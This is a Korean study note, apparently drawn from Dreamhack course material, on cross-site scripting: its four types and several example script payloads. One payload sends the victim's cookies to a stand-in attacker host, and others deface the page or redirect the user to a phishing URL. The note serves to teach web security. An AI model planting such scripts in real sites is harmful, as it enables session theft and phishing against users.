❗ 아래의 글은 공부 목적으로만 사용되며, 내용의 저작권은 모두 "드림핵"에 있음을 밝힙니다. ❗
- 클라이언트측 취약점
- 공격자가 웹 리소스에 미리 악의적 스크립트를 삽입하고, 이용자가 접근 시 이용자의 웹 브라우저에서 해당 스크립트를 실행
- XSS 를 통해 쿠키 및 세션 정보 탈취가 가능함
=> SOP 보안 정책이 등장하며 이전에 비해서는 XSS가 힘들어졌지만 이를 우회하는 공격이 계속 지속되고 있음
발생 위치에 따라 - stored xss, reflected xss, DOM-based xss, universal xss
1. Stored XSS : XSS에 사용되는 악성 스크립트가 서버 내에 저장되고, 이에따라 서버 응답에 포함되어 오는 XSS
2. Reflected XSS : 악성 스크립트가 URL 에 삽입되고, 서버의 응답에 담겨옴
3. DOM-based XSS : 악성 스크립트가 URL Fragment에 삽입되는 공격 => fragment는 서버 요청과 응답에 포함되지 않음
4. Universal XSS : 클라이언트의 브라우저 혹은 브라우저 플러그인에서 발생하는 취약점. SOP 정책을 우회함
<!-- get cookie and session -->
<script>
alert("welcome");
document.cookie;
alert(document.cookie);
// make new cookie
document.cookie = "name=test;";
// request cookie to attacker's address
new Image().src = "https://hacker.dreamhack.io/?cookit="+document.cookie;
</script>
<!-- page changing -->
<script>
document; // access user's page information
document.write("Your computer is mine, now!");
</script>
<!-- changing location -->
<script>
// changing user's location
location.href = "http://hacker.dreamhack.io/phishing"
window.open("http://hacker.dreamhack.io/")
</script>
서버의 DB 또는 파일의 형태로 저장된 악성 스크립트 조회 시 발생하는 XSS
ex ) 게시물과 댓글에 악성 스크립트를 포함하여 업로드하는 방식
=> 불특정 다수에게 보여지므로 높은 파급력을 가짐
서버가 악성 스크립트가 담긴 요청을 출력할 때 발생
ex ) 게시판에서 작성된 게시물 조회를 위해 검색창에서 스크립트를 포함하여 검색할 때, 검색 문자열에 악성 스크립트 포함 시 발생
Click Jacking 이나 Open Redirect 등과 같은 취약점과 연계하여 사용location.href : 전체 URL을 반환하거나, URL을 업데이트할 수 있는 속성값
document.cookie : 해당 페이지에서 사용하는 쿠키를 읽고 쓰는 속성값